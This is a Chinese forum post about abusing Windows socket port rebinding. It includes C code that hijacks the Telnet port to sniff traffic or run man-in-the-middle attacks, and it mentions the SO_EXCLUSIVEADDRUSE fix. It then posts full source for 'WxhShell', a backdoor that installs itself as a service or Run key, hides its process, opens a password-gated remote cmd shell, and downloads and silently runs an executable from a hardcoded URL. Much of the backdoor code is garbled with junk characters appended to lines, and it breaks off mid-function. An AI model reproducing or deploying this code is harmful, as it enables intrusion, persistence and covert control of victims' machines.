[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道

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0 发表于: 2006-09-01

在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
　　s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

　　saddr.sin_family = AF_INET;

　　saddr.sin_addr.s_addr = htonl(INADDR_ANY);

　　bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

　　其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。

　　这意味着什么？意味着可以进行如下的攻击：

　　1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

　　2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）

　　3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。

　　4.对于构建的WEB服务器，入侵者只需要获得低级的权限，就可以完全达到更改网页目的，很简单，扮演你的服务器给予连接请求以其他信息的应答，甚至是基于电子商务上的欺骗，获取非法的数据。　

　　其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。

　　解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。

　　下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。

　　#include
　　#include
　　#include
　　#include 　　
　　DWORD WINAPI ClientThread(LPVOID lpParam);　　
　　int main()
　　{
　　WORD wVersionRequested;
　　DWORD ret;
　　WSADATA wsaData;
　　BOOL val;
　　SOCKADDR_IN saddr;
　　SOCKADDR_IN scaddr;
　　int err;
　　SOCKET s;
　　SOCKET sc;
　　int caddsize;
　　HANDLE mt;
　　DWORD tid;　　
　　wVersionRequested = MAKEWORD( 2, 2 );
　　err = WSAStartup( wVersionRequested, &wsaData );
　　if ( err != 0 ) {
　　printf("error!WSAStartup failed!\n");
　　return -1;
　　}
　　saddr.sin_family = AF_INET;
　　
　　//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了

　　saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
　　saddr.sin_port = htons(23);
　　if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = TRUE;
　　//SO_REUSEADDR选项就是可以实现端口重绑定的
　　if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
　　{
　　printf("error!setsockopt failed!\n");
　　return -1;
　　}
　　//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
　　//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
　　//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击

　　if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
　　{
　　ret=GetLastError();
　　printf("error!bind failed!\n");
　　return -1;
　　}
　　listen(s,2);
　　while(1)
　　{
　　caddsize = sizeof(scaddr);
　　//接受连接请求
　　sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
　　if(sc!=INVALID_SOCKET)
　　{
　　mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
　　if(mt==NULL)
　　{
　　printf("Thread Creat Failed!\n");
　　break;
　　}
　　}
　　CloseHandle(mt);
　　}
　　closesocket(s);
　　WSACleanup();
　　return 0;
　　}　　
　　DWORD WINAPI ClientThread(LPVOID lpParam)
　　{
　　SOCKET ss = (SOCKET)lpParam;
　　SOCKET sc;
　　unsigned char buf[4096];
　　SOCKADDR_IN saddr;
　　long num;
　　DWORD val;
　　DWORD ret;
　　//如果是隐藏端口应用的话，可以在此处加一些判断
　　//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发　　
　　saddr.sin_family = AF_INET;
　　saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
　　saddr.sin_port = htons(23);
　　if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = 100;
　　if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
　　{
　　printf("error!socket connect failed!\n");
　　closesocket(sc);
　　closesocket(ss);
　　return -1;
　　}
　　while(1)
　　{
　　//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
　　//如果是嗅探内容的话，可以再此处进行内容分析和记录
　　//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
　　num = recv(ss,buf,4096,0);
　　if(num>0)
　　send(sc,buf,num,0);
　　else if(num==0)
　　break;
　　num = recv(sc,buf,4096,0);
　　if(num>0)
　　send(ss,buf,num,0);
　　else if(num==0)
　　break;
　　}
　　closesocket(ss);
　　closesocket(sc);
　　return 0 ;
　　}

==========================================================

下边附上一个代码，，WXhSHELL

==========================================================

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")

#define MAX_USER 100 // 最大客户端连接数
#define BUF_SOCK 200 // sock buffer
#define KEY_BUFF 255 // 输入 buffer

#define REBOOT 0 // 重启
#define SHUTDOWN 1 // 关机

#define DEF_PORT 5000 // 监听端口

#define REG_LEN 16 // 注册表键长度
#define SVC_LEN 80 // NT服务名长度

// 从dll定义API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);

// wxhshell配置信息
struct WSCFG {
int ws_port; // 监听端口
char ws_passstr[REG_LEN]; // 口令
int ws_autoins; // 安装标记, 1=yes 0=no
char ws_regname[REG_LEN]; // 注册表键名
char ws_svcname[REG_LEN]; // 服务名
char ws_svcdisp[SVC_LEN]; // 服务显示名
char ws_svcdesc[SVC_LEN]; // 服务描述信息
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
int ws_downexe; // 下载执行标记, 1=yes 0=no
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
char ws_filenam[SVC_LEN]; // 下载后保存的文件名

};

// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
"xuhuanlingzhe",
1,
"Wxhshell",
"Wxhshell",
"WxhShell Service",
"Wrsky Windows CmdShell Service",
"Please Input Your Password: ",
1,
"http://www.wrsky.com/wxhshell.exe",
"Wxhshell.exe"
};

// 消息定义模块
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";

char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";

char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatusHandle;

// 函数声明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);

VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );

// 数据结构和表定义
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{wscfg.ws_svcname, NTServiceMain},
{NULL, NULL}
};

// 自我安装
int Install(void)
{
char svExeFile[MAX_PATH];
HKEY key;
strcpy(svExeFile,ExeFile);

// 如果是win9x系统，修改注册表设为自启动
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
return 0;
}
}
}
else {

// 如果是NT以上系统，安装为系统服务
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager!=0)
{
SC_HANDLE schService = CreateService
(
schSCManager,
wscfg.ws_svcname,
wscfg.ws_svcdisp,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
svExeFile,
NULL,
NULL,
NULL,
NULL,
NULL
);
if (schService!=0)
{
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
strcat(svExeFile,wscfg.ws_svcname);
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RegCloseKey(key);
return 0;
}
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 自我卸载
int Uninstall(void)
{
HKEY key;

if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
return 0;
}
}
}
else {

SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (schSCManager!=0)
{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
if (schService!=0)
{
if(DeleteService(schService)!=0) {
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return 0;
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 从指定url下载文件
int DownloadFile(char *sURL, SOCKET wsh)
{
HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];

strcpy(myURL,sURL);
token=strtok(myURL,seps);
while(token!=NULL)
{
file=token;
token=strtok(NULL,seps);
}

GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "\\");
strcat(myFILE, file);
send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;

}

// 系统电源模块
int Boot(int flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if(OsIsNt) {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
return 0;
}
else {
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
return 0;
}
}
else {
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
return 0;
}
else {
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
return 0;
}
}

return 1;
}

// win9x进程隐藏模块
void HideProc(void)
{

HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
if ( hKernel != NULL )
{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FreeLibrary(hKernel);
}

return;
}

// 获取操作系统版本
int GetOsVer(void)
{
OSVERSIONINFO winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}

// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
SOCKET wsh;
struct sockaddr_in client;
DWORD myID;

while(nUser<MAX_USER)
{
int nSize=sizeof(client);
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
if(wsh==INVALID_SOCKET) return 1;

handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
closesocket(wsh);
else
nUser++;
}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

return 0;
}

// 关闭 socket
void CloseIt(SOCKET wsh)
{
closesocket(wsh);
nUser--;
ExitThread(0);
}

// 客户端请求句柄
void TalkWithClient(void *cs)
{

SOCKET wsh=(SOCKET)cs;
char pwd[SVC_LEN];
char cmd[KEY_BUFF];
char chr[1];
int i,j;

while (nUser < MAX_USER) {

if(wscfg.ws_passstr) {
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//ZeroMemory(pwd,KEY_BUFF);
i=0;
while(i<SVC_LEN) {

// 设置超时
fd_set FdRead;
struct timeval TimeOut;
FD_ZERO(&FdRead);
FD_SET(wsh,&FdRead);
TimeOut.tv_sec=8;
TimeOut.tv_usec=0;
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pwd=chr[0]; W}2!~ep!
if(chr[0]==0xd || chr[0]==0xa) { H~mp*S
pwd=0; [~RO9=;L
break; _uL[ Z
} 5~T+d1md
i++; >Yk|(!v
} ?Yf v^DQ5
JZ*.;}"
// 如果是非法用户，关闭 socket ;UUgqX#
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $$W2{vr7+
} r>i95u82'
4zt:3bWU
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9Li&0E
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;+|Z5+7!6
GA/afc,V
while(1) { MxT&@pq
oyY z3X
ZeroMemory(cmd,KEY_BUFF); VCiq'LOR,<
@D=%J!!*
// 自动支持客户端 telnet标准 5*-RIs! 2
j=0; m"n" 1;o=
while(j<KEY_BUFF) { 4[JF.O6}
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ycq )$7p
cmd[j]=chr[0]; 98O]tL+k/u
if(chr[0]==0xa || chr[0]==0xd) { GCiG50Z=
cmd[j]=0; u*W! !(P/
break; ' (XB|5
} *]h"J]
j++; 2<p@G#(
} k9<UDg_ Y
E i>GhvRM
// 下载文件 ^);M}~
if(strstr(cmd,"http://")) { %n8CK->
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6OAEAIh
if(DownloadFile(cmd,wsh)) B:0oT
send(wsh,msg_ws_err,strlen(msg_ws_err),0); g6P^JW}.
else {^(uoB C/
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j (Q#NFT7
} o|y_j49
else { H_t0$x(\
vr{|ubG]d
switch(cmd[0]) { _j3rs97@|
#Ha"rr46p
// 帮助 Z!^>!'Z
case '?': { s^IC]sW\%
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); jb,a>9]p
break; 4b;*:C4?
} ]h' 38W
// 安装 .-mIU.Nwi
case 'i': { DO~[VK%|
if(Install()) j[FB*L1!D
send(wsh,msg_ws_err,strlen(msg_ws_err),0); b]Kb ~y|
else 9L3P'!Z
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WLwi
break; eyp_.1C~
} IDD`N{EA
// 卸载 2yZ~j_AF[
case 'r': { m ie~. "
if(Uninstall()) XTk :lzFH
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |2n*Ds'
else (Fuu V{x|
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WAR!#E#J7
break; $'_Q@ZBq
} xgj'um
// 显示 wxhshell 所在路径 p-)@#hE
case 'p': { pX*E(Q)@!
char svExeFile[MAX_PATH]; 3D!7,@&>3
strcpy(svExeFile,"\n\r"); $ta JVVF
strcat(svExeFile,ExeFile); GD d'{qE6
send(wsh,svExeFile,strlen(svExeFile),0); |6DJ5VFzD
break; , %8)I("
} p{W Amly
// 重启 ?I?~BWu
case 'b': { D|m0Vj b
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); qC"`i}7
if(Boot(REBOOT)) 6^V( C;5!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }vx,i99W?
else { );}M"W8
closesocket(wsh); &08dW9H
ExitThread(0); @lWNSf
} $IX(a4'
break; ub9[!}r't
} "DGap*=J
// 关机 C;/ONF
case 'd': { Ja4M@z
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &v1E)/q{Z
if(Boot(SHUTDOWN)) }`H{;A h
send(wsh,msg_ws_err,strlen(msg_ws_err),0); NS`hXf
else { Bw!J!cCj
closesocket(wsh); z;e@m2.IM
ExitThread(0); bpU>(j
} cZF|oZ6<
break; @4Bl&(3S
} Xf#;`*5
// 获取shell :E|Jqi\
case 's': { yHC[8l8%
CmdShell(wsh); WbhYGcRy
closesocket(wsh); xg^%8Ls^
ExitThread(0); SSla^,MHef
break; 2dKt}o>
} ^z{Xd|{"
// 退出 R[m{"2|,Lc
case 'x': { w6h83m 3
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); qN' 3{jiPL
CloseIt(wsh); H Q[
break; <oT1&C{
} B6TE9IoSb8
// 离开 5{+2#-
case 'q': { bx{njo1Mr
send(wsh,msg_ws_end,strlen(msg_ws_end),0); _K{-1ZYsi
closesocket(wsh); v?6*n>R
WSACleanup(); e1JHN
exit(1); 'U ZzH$h
break; &s}sA+w
} G4'Ee5(o
} P*K"0[\n
} z^T;d^OJc
m;rr7{7X
// 提示信息 -}j(_]t
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Nl,iz_2]
} [bX^_ Y
} W)D?8*
:eD-'#@$u
return; _w%:PnO
} n/*" 2
V9Mr&8{S4
// shell模块句柄 .{?;#Cdn
int CmdShell(SOCKET sock) Ci4c8
{ )!E:
STARTUPINFO si; !T:7xEr
ZeroMemory(&si,sizeof(si)); I8T*_u^_
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _7';1 D
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U=j`RQ 9,
PROCESS_INFORMATION ProcessInfo; XY9%aT*
char cmdline[]="cmd"; X@Zt4)2#
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); U,T#{
return 0; Y?0x/2<
} /y4A?*w6
vRW;{,d
// 自身启动模式 \r{wNqyv
int StartFromService(void) t.RDS2N|
{ AB+lM;_>
typedef struct G.@K#a9
{ "%dENK
DWORD ExitStatus; @gf <%>
DWORD PebBaseAddress; b%"/8rK
DWORD AffinityMask; lFIaC}
DWORD BasePriority; x5smJ__/
ULONG UniqueProcessId; -Q Mwtr#q}
ULONG InheritedFromUniqueProcessId; G)b:UJa"
} PROCESS_BASIC_INFORMATION; +8\?7,FY
EW4a@
PROCNTQSIP NtQueryInformationProcess; IUh9skW5
^2%)Nq;O
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9{S$%D
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; be_h uZ
PGxv4(%
HANDLE hProcess; y0O e)oP
PROCESS_BASIC_INFORMATION pbi; %G6x\[,
?y>v"1+
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a Iyzt
if(NULL == hInst ) return 0; -AVT+RE9z
vlDA/( &
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); OtQ]\:p7
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l<S3<'&
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $I#~<bW,
Rc D5X{qS#
if (!NtQueryInformationProcess) return 0; fwzyCbks
BonjK#
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =F/R*5:T
if(!hProcess) return 0; i Pl/I
zp'hA
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?;5/"/i
Nknd8>Hy+
CloseHandle(hProcess); Kc1w[EQ
=)i^E9
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Y Kp@n8A
if(hProcess==NULL) return 0; L.K|]]u
a5pM~.]
HMODULE hMod; Pjvb}q=
char procName[255]; rij%l+%@#
unsigned long cbNeeded; ~mah.8G
'aD"v>
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Wie0r@5E
F8tMZ,:
CloseHandle(hProcess); .ty2! .
5RO6YxQ
if(strstr(procName,"services")) return 1; // 以服务启动 ).u>%4=6
/Hm/%os
return 0; // 注册表启动 /J!hKK^k
} &pz`gna
e,#5I(E
// 主模块 HD$`ZV
int StartWxhshell(LPSTR lpCmdLine) A93(} V7I
{ {LqYb:/C5U
SOCKET wsl; tId,Q>zH
BOOL val=TRUE; lq`7$7-4
int port=0; @V Tw>=94
struct sockaddr_in door; Vz!{nL0Q(
MDd2B9cy[
if(wscfg.ws_autoins) Install(); I7|a,Q^f
ev/)#i#s{
port=atoi(lpCmdLine); R&P^rrC@B5
?aTC+\=
if(port<=0) port=wscfg.ws_port; CJ)u#PmkJ
*?Wr^T
WSADATA data; ]eFNR1<OP
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; km lb,P
a #p`l>rx
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; X ) =-a
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); aGE} EK}
door.sin_family = AF_INET; vt(n: Xk
door.sin_addr.s_addr = inet_addr("127.0.0.1"); PT&qys2k
door.sin_port = htons(port); @&Yl'&pn-R
!>K=@9NC|.
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Dp} $q`F[
closesocket(wsl); ~\u>jel
return 1; m#6p=E
} ~e){2_J&n
yC|odX#
if(listen(wsl,2) == INVALID_SOCKET) { w`#9Re
closesocket(wsl); SwrzW'%A
return 1; B*QLKO:)i
} o(3OChH
Wxhshell(wsl); LT,zk)5
WSACleanup(); { M[iYFg=
%t:13eM
return 0; %,Y^Tp
R \y qM;2
} cauKG@:2F
7eZwpg?K
// 以NT服务方式启动 Tn>L?
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @_WZZ
{ md : Wx
DWORD status = 0; DC$> 5FDv
DWORD specificError = 0xfffffff; j \#y
0\"]XYOH
serviceStatus.dwServiceType = SERVICE_WIN32; y{tM|
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ,|UwZ_.
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $"Ci{iE
serviceStatus.dwWin32ExitCode = 0; oMq:4W,
serviceStatus.dwServiceSpecificExitCode = 0; ._'.F'd
serviceStatus.dwCheckPoint = 0; ~"R;p}5"
serviceStatus.dwWaitHint = 0; ukD:4sv
2Aa
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); W7T2j+]
if (hServiceStatusHandle==0) return; `j.-hy>s
8D^ iQBA
status = GetLastError(); |hu9)0P
if (status!=NO_ERROR) akgvV~5
{ +~lPf.
serviceStatus.dwCurrentState = SERVICE_STOPPED; "#%9dWy
serviceStatus.dwCheckPoint = 0; k>\s6
serviceStatus.dwWaitHint = 0; 6?0QzSpfC#
serviceStatus.dwWin32ExitCode = status; cI<T/~P
serviceStatus.dwServiceSpecificExitCode = specificError; c+1<3)Q<
SetServiceStatus(hServiceStatusHandle, &serviceStatus); eE0nW+i
return; \9:IL9~F
} _]+ \ B
*zX^Sg-[
serviceStatus.dwCurrentState = SERVICE_RUNNING; jH9.N4L
serviceStatus.dwCheckPoint = 0; P&Hhq>@Z
serviceStatus.dwWaitHint = 0; R}OjSiS\
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); w~e$ul(IQM
} 6:G::"ew
IU]@%jA_:A
// 处理NT服务事件，比如：启动、停止 eGbjk~,f'
VOID WINAPI NTServiceHandler(DWORD fdwControl) pr1>:0dg
{ 7 /DDQ
switch(fdwControl) >?$qKu
{ {r?Ly15
case SERVICE_CONTROL_STOP: M_;hfpJZ
serviceStatus.dwWin32ExitCode = 0; N#X(gEV
serviceStatus.dwCurrentState = SERVICE_STOPPED; >>h0(G|
serviceStatus.dwCheckPoint = 0; ::Di
serviceStatus.dwWaitHint = 0; P"+K'B7K3
{ QUc&f+~
SetServiceStatus(hServiceStatusHandle, &serviceStatus); nN[QUg
} _w9:([_
return; zids2/_*
case SERVICE_CONTROL_PAUSE: <r8s=<:
serviceStatus.dwCurrentState = SERVICE_PAUSED; U+ief?;4F
break; {'f=*vMI
case SERVICE_CONTROL_CONTINUE: MrS~u
serviceStatus.dwCurrentState = SERVICE_RUNNING; l;;"v) C8
break; r@H7J 5<Y-
case SERVICE_CONTROL_INTERROGATE: cbX<
break; KMV&c
}; j"P}Wn
SetServiceStatus(hServiceStatusHandle, &serviceStatus); a0B,[i
} -[5yp 2F-{
g; ZVoD
// 标准应用程序主函数 m<:g\_<
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) J|WkPv2
{ Uv=hxV[7y
|-vn,zpe
// 获取操作系统版本 (d=knoo7A
OsIsNt=GetOsVer(); 1Qo2Z;h@
GetModuleFileName(NULL,ExeFile,MAX_PATH); R94ID@LF
C;eM:v0A[
// 从命令行安装 roWg~U(S
if(strpbrk(lpCmdLine,"iI")) Install(); o~p%ODH
6^Ax3#q
// 下载执行文件 IdL~0;W7
if(wscfg.ws_downexe) { ZG-[Gz
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Cn8w})B
WinExec(wscfg.ws_filenam,SW_HIDE); (>gHfC>(lq
